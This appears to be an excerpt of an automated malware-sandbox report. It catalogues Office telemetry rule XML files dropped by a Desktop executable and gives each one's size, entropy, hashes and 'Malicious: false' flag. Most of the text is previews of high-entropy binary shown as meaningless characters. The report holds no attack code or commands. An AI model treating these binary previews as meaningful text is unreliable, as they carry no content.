Preview:	<?xml...U..Z....P.v....+L.......zm.E..../l..../9...F..f...0MC.;gH.."....b..c.b.....DW...b{..(t.."8..s.C......G....F..t..I.+..r~..q...>.q/n\|.p7.........;...f..K...l......G+;y..........].._...>..:l.1...-u..u....,.}....I.....mC.[...`.._...J... .aIk.....`^...o......F..9If.T..Z.z.Rt..Cn=.\...R..2...dg.L.O,.O3.<\|v>....l.}z..y...6NF.1c.5.D.).......eT.,h..n\........U.R..Y!.@~~+Y78&9G._.]..a...hj.......J....U@HE:.gf.e...1.:%...../.a..G.._....^_oZ.+p.M....O......wo...3.".[.T....My....^....z.......]b.8..o..8s......).....\|.<.<.L..c6.)..x-dJ.....&S.....f.t......".x.RN.?....&.......$u... ..0.......;tg....Z8...bz8oX!C8.......6.i'..L6..>[e....C..l...T &..h...!.]\;D.d+....H.75...97....jV..s*d;. ..{ E.o}z...}?...0c...3n+.y..uR..x..N.T.Oym~6._.......h\av)t.Be.R(..GV...!..-8p.z,.Hn...2.F...-.!6 7A......3...]ox.k...F...h..3cN-Y:.x..L.qf..5.%#....U...o[2@;[..#..&...)?%C......o.........TI5.^ezt.h..)jD.QJ9Y.b.;.j ..#....r....S......

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.894693530457062
Encrypted:	false
SSDEEP:	48:ozXgxngpfmGgXeGTaUkWFrN5/65u11xXFuED:oTgxnAfLGTaoFis1xFuQ
MD5:	22D05C9E2EEBB2904C607F35BB10AB6B
SHA1:	9EFEA9483382565A4D5322FCF01B9B2413002838
SHA-256:	4D53EFE55375A619F072FC24F0C178DB01A41635CEE791D0A79327981253E2B9
SHA-512:	32F0B1213B467CFC9C979B225D2DEC7A74890FCF2A2DDD2AB45A9CD4442567F091CDBC05B0656AA85510A7D275C45BD95ACB7BC6640D2A866833292A6C1D34EB
Malicious:	false
Preview:	<?xml.G.5#..vC..q......:...R6U(mp....e`.o4....)~Pv8.._.9..:..T...)./.f.tT.%.Q.....y.l.wS.Y2.".R;..&..-.3..[.r.?{......"p.xA...a......X..J=u ..V.3.T.-..RR...B<x.XrT3..SP.H.y........(..'W...hip.V.Iz;`B...>(.[.1..J>.vL(\|\|.-.........77...3....r.........[b+.`}.`.....mL(.....D=!....z.tNo.....^HF=...FS.....$.....a....=.9yj...x.....`.;.._h.<Z.C..R.....B.N........$....\..{K..Q...W...}R.W...[P._{......e.L......%_b{..qV).F/....y.M"...,....Kk.Eks.i7../.m...7.8J#..)z.<....Ue....}mk3aA_s.z....z.f=.k&6....eQ..Ba......P(.OX.8..T.......?{i{.@...vw.Z>%....d.@.?.ND.........G.\|..N...1/.S...6.D.x..i...(T......Sp..A;.9`%....F...$.\|;..S...w>..>g.3e.m.$...G..!^s{..$.?.\|....d.J8=..)._s.\.I..*.L-a.vZ...@...(....-../4.Q.w.=.m..&,..../..p.;..J..$0....@.&...q;...-.h\|.E_r.3F...3.....6x.N...Z..c..J..y...J....( %<Q/..l..t!.,j.-......J\...$JS..i...;eI....f.~rn.8\|...,.1.p.....SFZ...E.\.e...h.@.5W..tI..?..}..&ZY...Rt......X..D.P..\|.....?..e.d.-...........R..;...X.[..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.885223483279897
Encrypted:	false
SSDEEP:	48:LU+KtE6GQS9YJCQiraeHitpRfqcQpi4CW1XFuED:9KG6GQSKViOeHAxZQpntFuQ
MD5:	11D189BEE9D963CF27BE61C012803209
SHA1:	1F08303237B36F88539FE62DF719689B3D374FD4
SHA-256:	9A85BB23BAB87529A5FAB09D63E4A9A841403B73D20286EE989505BDDF76F611
SHA-512:	6E8DC9B85A06E6D79AA11FFE58F2DB667A7C1EB9435ABAF156B48DECDB289935C4E328CE56D59F9B1A4045981063BC801A60D62C79C72DD0A96F2C68A896E734
Malicious:	false
Preview:	<?xml..A.b.r....sj_?.<.a.f.....q.!P.e.?.t.......".F..o,.QF..{...W.k..~.....w..8.q.....-b$zCM..... .c.-5a.ftoB...xF..~.../.......\O,...i.1.....&..'~.R.....2.P.M...].#...k.(....#.Tz..s.m..+.y.]..e..Y..{D.....bG..\|..@.j../b5.-n.PTt..5e.;....=U..r...bh.s. Z....c...._.>.....\|p.....X.:...........j.....S{..mG..Lhtng.............Mn..B..:..%b4.....Q....qh..e.-..Rh).....97.w.]........?..C......Q...F..L...J...nD.....u.7_.C>..."".......X....H\|.K........)8.9C\..r.>..W.P..N......7....6..vW.zJ\|d..;.%\1...s1./...la.Z.;.U....^....z2...T_uQ.6..lqVs%J.......-.!.N..s...Fh`....A..9.z.}..]r......+....P+..E...E..3..5.......2$..H...l/.k..~H.=.....mB.ry..A].{..C...L..}..`.4I.?!..XL..>Q!8.F.%u[+._."8.........h..+c..7....7}~y....$a.QBu..!....R<M.o1...y.k...}\V.......<P&N..DN....Z\|R.#.>.....%...e.u.....;em.....r/#..[C..F..n...C..b0...bh.........z&.us8y-K#.`A.x\|..M.#.N....3'.7t....7..C....fa.c..._.....}...._..e.*.G.......;.K.....! ....HD.^...p.0]T..]...7.!)...ZIe..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.878184815281248
Encrypted:	false
SSDEEP:	48:bbk9iA8OO651H6GaPf75gHIOcq5vPkLHN1rCR2kKXFuED:oh9qFDqHBBnkbXrCRvAFuQ
MD5:	F780D88F578CE4787ECDD9264203A121
SHA1:	9E3333290D6468E511019DD2281960B83DCEF76C
SHA-256:	88904E88D75DB8C8B51BEE3F6B29BABF1B7EC3ED015A64FA787716D1F247AE61
SHA-512:	F85060FCDD8F857E99241D95E0780B52C16A2E4A4531B8E3AB28A270AE59C119BD96F2E0D1F17EE4D13FAEFC20906C7444D638265FBCB12254BA9C909A3D3BAA
Malicious:	false
Preview:	<?xml.\|.#?..lp.G.l..CgJ$.Cz.]...}.e......@..-....p...sq.~s..X_...S....m:N9.[.0MW..."x..d.I..0..R...F....Z..s{...L.\-.I.W..@.?..I.-].....[P6..J2B....,....F.[.{.m.D.\|....+.l(Z)...y..!.Q. ....i.....V/.'.....T~.....P.....Pj[.4..#......b@..H.....<..x1......7U...U.c.W...5&.[$X.D[............vTq.!....j.K..}s..._Q[.Uu...'..X..>.....U...M.....{.E......]....S...CPm[.{..(.-.Z. (.......?..`.@....pU"...mN.i.3T....c...U.)...i..!_.k..O..s..G..F..ok.....E...(...ffa^.?...wE..ck....U_8\...:.\V.Q.!.NK5.l.n.O....`;z..1.C....\|_.=]f~eG.1}R.}.....R.Lk<$a...i>....y..<L....u%.S............F.1r.PB.....]0T.1..w....`.C...Bq..{.K.g.g.p...9je._.+.+..btg....Oz..Uk.Q-......&#s.}......B..I.p.yBc.Z...4rc.8........&X"..8akp+M....F....x..7..TB.<..............^<.L.T...D$.~o1,6Hl....9Qa3..b.f.`.`.."...yv.e.8._s:.....i.`..T.[.t....;....tPF.?C<9......."..S?..p.sq.d..w).G.;.....j.1k...F..5!.=..V...`.g..M.T.yh. J.g..:..Il.P.3WX..DJ..6...r...7.....ab5../5....6M.z.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.889382115976764
Encrypted:	false
SSDEEP:	48:RU2syTZLi1KfR9fn36RFxL4eL+7lAKQSdF2XFuED:5lFW10NnKRFF4eL+Zs8FEFuQ
MD5:	5BCA71F938546541CAC0B7E1DF4D2F09
SHA1:	E2F43060663260DD07AD7A1C3024A27E6175A5D0
SHA-256:	6A52F26EBBE97B47D2D7A380C8F096718A4AFF5B1ADCB3102E79706B9C7638F1
SHA-512:	A6207D173D02348B940A8ABB63AE09D5043E5E769AFC0C39DA73D322F00F2D94EFA5DD389D3943B9CD7D68D53E678102F306974CB1DF76431C1D125B4414D748
Malicious:	false
Preview:	<?xml.2..UB....b[.......5..?'......l(.1.....%....MZL.$.8.M.{.Re...C...7.[....I.H..'.....^.@....s.sN...2Z:5R.N>w...GU_7`;=....C7..G.3<2...y..a...RU.9.MQ\..}.$.."......e...@...d......t.z.....`q.....F...{.j.H.L.....;.In&.Bb..g..c....KG.".`2.......................p.....%.P>..a.i..#.................i..b.,0].5j.....J^..-).y.;..B.w}....".....f..U.y..+.h_.h.....d.^.`..3..K.+?G...x...T\......i]8...J6....&..6...:.+....!BI.pK...NcpI....Pe~....P6.!W.^..^S..6."..+}..Vi)5..I.....L,;k.5edq.Dj....8...W>R..R.n..../'......1....U.(9.Wz...@...%.;..l...Q2U2.".+Dr.'..RonL_.o.j2ry..o.F.....y..W..._K.E^.1.,..Y..4$0q...e.Gl._\`.F.Dm..u.E.X.6a.+....+Y.7..!7.P..{....zh.K.(1<.nE...(;{.1.... F.k.tJ.\.j...a.EQ.3P..+...Q.q........!3.r.}.O.E..P".\|w}..\...b.\.)O.S\h..d...r..FA.ty!..ZF.....u....\|...V...ZMq./(......G..vN.HK^.7oh.8..+.\+.8....[5......%.x1..........f.{.n.0.K3....k.IbFhF....{.:l.#\i......b.W.Zlr..~T.w....P{.RO......7SM.....'..EV.0+.<..E.%.....?/7..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8793782431043
Encrypted:	false
SSDEEP:	48:2xo1St9+qiMCQDEXLiLHrvm2AKRxTepCObuqERXFuED:2xmStZiXQDtbh9x6sOMFuQ
MD5:	80EFE5FDFAB7667840F073B2DB93B72C
SHA1:	BA6ECC7B34CE3B06A6C11D5CBFA1A59D4AD09499
SHA-256:	55E039291DADBA4C0672310016085BAC324EF075236FD7B1E9D210DDAE1C06DA
SHA-512:	99714A0D532BBA33366030799C98887FBDC09B03EB2FECD298E95489EC37B9B251B919B61D08D2375A5B193C1729BB3FBD17537E8A94BCCA30A2D63A2A162894
Malicious:	false
Preview:	<?xml....PcGP...0.0..#>.r..c..X.Cq.....x.$w....P.9..Ag..yh...%.$..A..e..z.z....+k..-..E_...G$..V].......m.].5.o......2...6yD....p..`e.B"...>..>\G.....h..jU5-"Q.).R.n...2...d...l......9.a..Z..q4^....D.%)...7-.Bfc.U6)&....6..kM...)..0O...=.2+<i.(.V..-..MSm.oWB.dl....#&...0.\.~.....,.. .N..ewV.3s..GU...l@n.L.s.<H...@.........~..T... ..v.y..(.]o.......h.g,..I.F.20X...o..h...0N.CaxYfO-~_.\|W%...U.....N.J)#.....T..W).S..y..t......0..`..8.GC.....7]..o;.'...o.@.....%..U.$.B..._"/T....k$.$..1.................`....#Wnr....a....r:.... .?.=X!..p......U.sU...f73".`4..R&....S-..X.F......>.[.%....[..E5Q.{.....~...E6.........k.H.....H.a1..Z....I.T. D...P..T...U...c.2....O.^(..[. .R..t{I........9me.8.....o'..'..{v.N.#.u1......k......uF..).7.].B>B..H...Kc.l..o...0..9D......{..0...`..'..t.d_cs...bQ@j[./2Ts...v..k ..6...y.>...{....9..8.....@.&NQ.F...Y...........%p^Z..]}..%T.k....>.>.%..MS.....B2..D.F...u...E..)...F.......]g..^.r....0mY..q..'..P..8.!.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.899856167521689
Encrypted:	false
SSDEEP:	48:wXnCcHX+TM1x2wI4jlryrXu/OCzeX8AFXYxobrXFuED:wXCcSM2wNpmrXpdDI+bDFuQ
MD5:	5CBC089A1DCB576509D5BB601AE8FBF0
SHA1:	D7B1D56F86A1A6E20D528657D68F57D29BF72C0F
SHA-256:	0A5CFDBD8E55578F029E8C97C86DCB4FB9D983BCB9C28E0E19888BFA626503A5
SHA-512:	6C93C30F3EBB4CD1DE0E54FD0A05103374BA5DC1E89E3CF482FF226B006E221504246C7D78230410B9D340894B96DE880F84CAC2788FEA2E01E5EF18760FAF78
Malicious:	false
Preview:	<?xml..;.\.K:\|..(....nN..0.6}.....5..{..h.......h...U..u...V.,x.....l...$......2.x.....`..Q[d..-.."vt....G..T.%......i.$..@O.D.YC.\.c5.@.J9........e....Y3..)4........@.@V........Q..3...r...].(Y..".D...R....q.'.b..._&-f....r?uqO...)..&L...9.D..8A..eR.e...i....[..~i..]..O.3K.G...l.slE..oq.9..s...-(..S...$vn.t.T.u..h4..^t0e......W.Id...m@..I.f........^..X....1..eNr$F0.^.CW..w..Om.......u...X.zB[......./....`'X].....>9.0.4~s.N.........5.../YW5..R.....-N....5JV;...;.....AO..6H2:.bW%....s..<...`..~.}.%.;.....r.w.....B...+...9.......@..8K.}0.MH.^K.-......v..H......>.\...z>.]......7.re..M.....x.Q..J..!;....e."_..B....U.8.k..%C.q....[.LZ..mw.#...0.f(.2c....\<2Og...F..r.6..#e.0h..o.'i..W....P@..."..Bl..T,..j&z.RhA.z....WM[.P~9.U.~chu....$...2....8......z.A`..`p..@.6...[....D.\|...`Ml.}.V*...a......yz....M...U.......f...\|.d.@.e...`..b.P..1)..98z......2..#ei..-.Q..+,+..&.........Re..4a......x........U..._.yu..nU.....;..}.wQK..z6361...<.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.883651450648512
Encrypted:	false
SSDEEP:	48:C00MY8acQLNi52cVXSG8U3t8hyS9XTXFuED:nt5ahW58U3i79XbFuQ
MD5:	D26CB6F253F24577A2122F5244209688
SHA1:	FAD8F27CF4CEFF3D51E2D40983DF8714D1BEC656
SHA-256:	315F71FB336C6BFF3CD3E932AAE21DE8CE12C8A1932508D25DCF83BC54FAE0DC
SHA-512:	CAEDEADAB4189173C1D7847A8BFCBDCF81A40079C774E057F947545F788F4ED0D9401AB01736D12DE5900A26D9AE2066324E13B91DAE89B0FFB44FBB61D57936
Malicious:	false
Preview:	<?xml.>5\........0......P.X.s@9._>$.$[.na,sR.V.~h...}......q.A...Y.$/l..,.'..T.. b...a9\|[s~9...y.1.R...<...@34....].A.c....k.......f[.4....t.&3..uU><'.x.0s....W.?A..r.......8....}..f...0xU...f<n.d...1.......Dz.B.r..z....j.P:L...GN.i..,U.HC..jS.../...G...S.'.a#..k......Kh...=......i..4;Q.J$.xc.......@4.UdH_....!........n..n.<..agi..].rB ..V(..'.]..V.9.R.dE....b...H..Z{.....o..U..m....s.....[5.+....lY.\..u..^...p..\|..s.}.CkyW.y..<..T..b..I..... .......r....>..H.<......{v.......[yx[.`.....$.a)NIx)E.T.q...P.S...TIGW..e.S.N..m.. ..K.C...=. ...Kb.......@.A...g..]....4.kd.....U.....1.ty....i)1..u8....K...i....x...Y...[\|QM.o...+}i...@......^........;.......18.\]..(w!./C...?.wk.{.1?j&..........F.3..e..68..\|.w+.V...T...h.1f^.u..[Scm.H4.U./&N.e.50....3w....u..).../.U:.av%...l.p.B..~{.aU...;.Yd..C..gX.%.OU Qljp7}....o_.f2.b.%.....{."Z....(A....(..?...._.~..p=i....Q...S.w.t^EZkWYa.0..~v.x.W......f.1.@prU....j...[..+..v.v..?\.x.b.G..w.......6...@.a..=.+

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.872332870359797
Encrypted:	false
SSDEEP:	48:DyLskZzPZmsscBJBH5g3/uAfgj+4jO0ZcIuNXFuED:8s0PUs5uW1O0ZcHVFuQ
MD5:	28BDAFD12B35F209F86B07040DABE597
SHA1:	0DFF08BBD0775B58BDEAA5078F11E67616422F4A
SHA-256:	603CAA01CE7C91A52053F4EE5DCB360AE385D808558E715E6AD547AA697A8A0C
SHA-512:	E236897B956C333BEEB7CC75695D93F64A39B38B2821B233915A09AF2C2B2CE3BF03D03C78DF2AF25C3902BA6BEDA2F46888E15D529FBDACEC58288D99A78B45
Malicious:	false
Preview:	<?xmlSF.H$......E6.j...t...0..\.=.B:.TR.8....P...s....6a.&b..................@...}...v.U........J.Q@..]c...u../y.i.#.yel..G..[-].O.=...Y....."...#./.sB.}7.o.y..b..6..~.....[r........M.?.n..v.%.......Y.e=...q......9g.K{.....4B..N......".>.Tc.."v....C..?..z4Y$...e..z.....E?X5S.D.;....d.....C.cb.[l:.LX..I.h..qz..?U....).Q<5Tup....W. P...:...i..z......_I.+.....d8...[:..-..).5y...2ka./..4[......)..'i(..o.5....WZ81.KC.....Z.:f...#5t...q>G....Ij$f{..d.......)a..Or+.......U.,X.3...ll.1^....{..1.....1uo..Pl.Pk"..z8v...).U..s.J.8.#.g..%\|-._..>.....1......=.4.n.P.;./vD.u8a..6M..=..2aC..k..,..}..V.[.q._......r.:.X...O".QH.J.\-o..>.&.s.T.\|x.:.a.o"......z.O%......^.I...,...u......._.g..c.?....S.-.....hX..).:...j...a./..D.HH$."Y...X..6k.<..V3.....e.)."'.3H..4.<..'V.B.I.......?.......,..j.+...h......w....+..q.1i.9....;....f........!..p..$..,.....A=L.e..X!...<.F....$..[;.B.9.>....T.%.k...N..O[.A..1.r.hm..PX.g.(.#.S.HI....Y.....-2'..:.'.-.,./.~.8d..:...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.893905398459147
Encrypted:	false
SSDEEP:	48:HB+Rt5WMnlKSa8BU35kK8hH7Gfxo8sks9XFuED:HUHa8BU3ybGJo8sRFFuQ
MD5:	61F14A7BF276ACAEFDE6CCCDA61C63C7
SHA1:	4BE1DB9C0FC8D52DBE65B3FE3DD22F5A09371E2A
SHA-256:	13C1E15A0A12C96539CF5C8E11ED376FB7C504D6CCE310A1D97EE74C77B00B5D
SHA-512:	4026C2E7EF1B74D33A14DF155390714497D3032B64B984A75FBAB415A1C6259B0E1C246A8F192212880D2BE365BCA37AFE293F286A4CFB168E2DDA632F2A79F7
Malicious:	false
Preview:	<?xml....m.<.#.-.<m.A..)...t.>R....._...}9 .\.^\|>..kf......'.sA'..Wbw.u.2J.w....edSOc...:E.f...r..L.../(#..,.+...V:....sf.g...c..J9."Zq.-...0&....[gr._.,E...........3!....m.}...7.n........... ....i.8....B\.........L.}f...u.;m.Czr.K.aqW~....7.3.=.........3.z...q.L.%}&... .Z[i......Xk/7y..%7D}.z......Kw.J....P..X...o..7k.\|.8.H.. z..j...W..l..gE=pYP......2.!l.....f.{.$..2....R......., .CK.%.x...JI6.....z$..0....X.8Cu.#..<."p.W...rh.r.#?bb.Lc..C...v/.8.N....%.....Zaf.o;.7.X....t.t:....8.eX..+...{..0.?.S....$...dEwk...'...'.h'..,..h1-... .e.!...U... {.C.]..J..]a..@R........f/.GWl...6y.Z..F.>......@.....f....r..Z~I.#.,rL....a&..=^..~..... ..1U....).B.kO.6.....LN...9.. 9H..a..B..T.!..d.w..Up.L.u..Z.......n.E.2Ra....8G=ZF.Q.Y.q#J.....0.4:.........x.J?..lk..q...W....\|<.X.w.Sh............../)x..O,5.4.......TK:UZ..bE...e..$.....%L............0.1k...h.W.4I.$1..&.?.........^[$...=.........[.......q.1......T.u..0t..4.U..T/.}W)..l.].k.-O.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.880110813979787
Encrypted:	false
SSDEEP:	48:/L8SJM/anG/uj2UXAf6edxb6RvNs/TyB040ZLyu/kazCd2dXFuED:/7AanV5S6+p6Rv2ui40d/Bi2lFuQ
MD5:	07F577E33908ADE13F8E85694A7860CC
SHA1:	E5DFABF548EEBB56245AB30CB52A3511792CC4F0
SHA-256:	6E9AD02A871E0DBA037ADA894909B28B94E9847B8EB3A90D62EACD4177B175BF
SHA-512:	0649484181BA542D42D1544DC5841D93411FC46B97F0BD161CFB8FC49652F067DD4451BF765066B83959DF2EB158770162DE92604A1BD018F297E834D139A553
Malicious:	false
Preview:	<?xml..)....q.t....f.l.n...V....=...(C.. hiz...)..$5..#R....q......^....S..). ...v)..1..Lx..X..z.&jR...C.\0m..$.(z.....(..^..l..J..!]`(......q..@H.q(;....Vz.UC<u-.....E..7@.A.=.\|..G...y..~...05(.zF...3..c_}..L8.....QK.....c.\qg..u;..T....6B&....S v.e...#...X.....>.u..c._...@.M.k .].@.,....l.hO..s{.....j....2F.Z.T...u..........E'.+..L'.......C.......E/.......6@J.[b$D.....-.IBtA...1..dY...."..h.d..;..1..k...7G.....'.Y.......~.,...>P./4.W...c3......X.0..H.z.d.9.m.....vD$\|.t..@..\|m...:.+.......m3>...r.t.E~6+4.....C,...EB42.....s...^p.4..... .!..........;....{....w.h......p....6.....$I.7M..c.{..P=.t.....R.....9....0...p....CL....Um.e..Xu,...5...(}.%h...,=.....B...i..@...f\|co.Q0.R....-..N.o.&..[.@._z......<61.I....&.3..v...?M..J.4..q..U3.i+.av3..eZ..]l......s@..\7.4......`...W.e..3..!..h..Y6.... 1..w)2..>..D...A.....L..o(..5.`%V..P.lEOd.....$...N.:".(.<;.y..........\U....@H.x7...QQ......*.....7(l^i...&zq..;0...oS.D..y^..{../....L.x.Z.7. [..r...L.1

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.867500721031902
Encrypted:	false
SSDEEP:	48:G0kgM9MrNgwzONH+7Wc5ggSypHUqhfiD46XFuED:FkgMS+7+ycygSmHUqRK7FuQ
MD5:	502E4A67557FE3978AE7D3D0BD28947C
SHA1:	ABBB2335B73B5EF195F03291C2573220E1C5AF98
SHA-256:	D61494E8A86415F318DB1E0EB3D0B15233FB097574CC67F563793C898C952329
SHA-512:	41EC87BD73C6C4166217FD85C962297F3F037670F1FC75096F249E28808945D369AB9BE121F60D73E66A7E89D95222A352EAFFB18640590B78E92B8244D4C96F
Malicious:	false
Preview:	<?xml+..F..1.It.~..(y..9wc.KF...M..S.+...`.E~.@...IT5.............1.r...rU.....z...;.I....._iQ.H...n....A...6...l.;.B.d.O..X.l2\|~I.C.p..OU....'.ys..^.S.....7@.y.r.&.b.?..~1Wo3.Ww..?.;.8...%p.Q^...1..3.......mR-q(.QiT@G..L.G.O..&.(.....CF..b....`}..yS..D..d...._.{.3.w.0.s~w..>.n.d.?U..)..3..P...>..}...."?p.0...'...i....w\...Z8..y.:~ia.H..^...`...8]..........C.6'P.).].C...6.U...lm...H#...O..7...Q...:T".LB..V...........~+..0..y.g..Q.r,.#*..Qu..k.U/7hF...i=D.....$.m.../)7i.....:.`r......OR.LeI...p..x?...=.g......_^.)......i...dk].....Ou.P.~...M...k.....C#..I...?....0...0..4...r...Z..8.9R\.M..34L"..7u.........);y..7...53dV.....S....C]t.7I.vC.....%c..;...FP...+.Lw.8..i]k.@....%.J.UQ.h}...Y.YZ4O.1O...U.!Bcj.S.N.'.g....BVZ/~zF.[.....\.....Q..\|....\|.?.H..\^....`.!RQ..g...W...nmc...I..g.;.;Y.L.....B.@we....w3."{swDD..cJ..-.?>_.Z..2.M...R..s....._@.-/......@."..<$.K...E...,...}.j...D8_......ALe&.+.>..r0>..../0.p.#Nc..t..=...0.K.G..3.r.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.879034559403853
Encrypted:	false
SSDEEP:	48:KTFMMlVBgkLpUmnFSzI2/9eQh7lyEt0z1kWODWSXFuED:Khlua4eaDtA1hyZFuQ
MD5:	B91544682989EB026EBF0A5A5BF66C3D
SHA1:	647A9F82E477E9CA35964E5B9B2BC651E03F2BB1
SHA-256:	F5F72B93ED050148673D5934492D9E6CBE150687AE1BE9BC7372A50CD749C36F
SHA-512:	CAB7BD75BDF857A810CDEAF47A488FB138DFCBCC121B76D0498C92DDFC87746C272EBF7107E7FE9502F9582EC1F25CB63C45DC63FDF72048073F679914606B76
Malicious:	false
Preview:	<?xml.r...2.....K...$....F.S.2q....j..$x.[h..+\|.......6#..;4M...W'].-.....&.....<. .1KK..T..}y.)..W..42.!..px..b.....`d..i0.....pm........."c&....>_...8..\|.ib0.i..oN.@.i.+.J.2......X..%M..?.].[.m-....XT.p....d...........+.R2I..u8..8..oG ...\|BYB...46...n..M,U$.6?HJA....k-v...)..>..9]4..l...vJ...H.]..]#.B....J..8H.e.z.J..Q.e.F=..6RtT..W......k~...d.....T.QC...Mv....\|......`...W.0!.+>.....H..l.&y..........p4E.....>........{}....8;<...3....d(-1.q.s_w..C....0..........^x@....@..'..)!}.I.....L.].}..h.9.9..q....P.)XmUps.;..vp_....s@....9..\.'......0-#<.xm.;.....E.rW[...2.k......^s...h.uA.l(..D9..p....P..P.^5....]...P.....f..l.J..KH..N..JT..\..]..H.E2......?r~....@N..9.Zj....r..d..X9..%.Y$......b.I.K..=.8........DLJf.3.,..4z.......:`a.?Aza.d}S.....Jx/(..mJ..c......t.^."...b!>....g!...~...E..s...R.{...O..G.bB.c,1...H..If.a ..hV.%o{...........,!....}......?DoQ..9....Z...f.._.p!.8Kv.....Sm......J.q0.oA...Q...5:...2.}.6..~\|....=..4-.x..I.......

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.8802234806627425
Encrypted:	false
SSDEEP:	48:fbdh62fL+f4Y8JmfIXUA7b/JwD6vlw3UaRIhosuEXFuED:frxlY8JWunSDNsTFuQ
MD5:	F273D0060D40E02CDF2C832AA98D9DA7
SHA1:	766BD53E5C240FC783AE09B9E7E5CDB9E4E8476E
SHA-256:	7EAC50E3C8FD55A7624ADEB6AC0E9DCDAC43DE7C5AB9F89462802FB7AD2BB56C
SHA-512:	D67BCBC3C89AB266F6491DC965D4986EF87EA5CA68F84D8BF7C1B0910C15629D6CF8AF1AE2892E49D461720FDA11641726E9C0B8783E91F68DBCB5E96DED5F76
Malicious:	false
Preview:	<?xml.R-Q.Q..TU)t.....`.u.3..$...@.....)....]........0):./}.p..b......&...QueSQ.6...I...>.4....d!.....G.V.O...\.....H.FCS1.>.D..z...dY...O..?h.O..0.tx.."......0..p..".[y.ixY..-...._p..i..>.J.l7..%Y..8..sP?E.......C.p..4....._...w.A+....^.5...K2Ab..oi.....^/......:.L.=U.....y.{f.......T....,...Uk...D>p.r..^\.8&y.<U.l.)......n1I.7....9}.%..W....d....0Fj^.]..,esM.I..\.... ....`c..E...Q74..c.o.F..~.'We.....}......w4!..K.9....w.hi...pN.....jSC.J.....A..T.\.w.-.....Y.xU.R....$........J.\|\|....L...<(..>.>Z.T...\..2.p+..S..k."A.....b~?..q...q.5.j7Z..e",!+.....#...4o.G.g....[.W.....j.$............fTa.r.p.&.Z..X.p.....D.../..vsE..U..If{).V3.}L...F...]>.d....i.3.D..{.....l..M..s.:...,4.m...H.J...^....j.E....D.........\..-~Z>..V>.....B.....o?A.W....\ .W.N.]).?..........N.y.....]Ln~2.9.7R...sY..v.g.y...`.:..5..`t....4....%.L....=..0P..;`\&..C]...n.JOg........)>......}..$.D=.=.[......f.+.......vq..i..\|.P.[(E#...S.0...<.....]%..~..h..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.87538497698908
Encrypted:	false
SSDEEP:	48:Azcu5A1AmkI5shmaYgQDUcLE83GClr2+XFuED:jYImh7GDJLjdl2cFuQ
MD5:	B79BE08A363FCFC2B17FDA2B3D6D7E9E
SHA1:	4BA550BCD8216856016CA189A5F7A3B6ABC83F52
SHA-256:	F2602DBC00E10363D9F285CD8C183CBFAED71453CDC221926B9F2F6C64DC4E1E
SHA-512:	C290C0FE17435D78B37A45D06A61C00FC6DA86B30A9EF6BA46A03989E17EB4651314327A219D4F78921DA5547A62F527BA71DFB23DFA6DC260DA539A7EFCDCBB
Malicious:	false
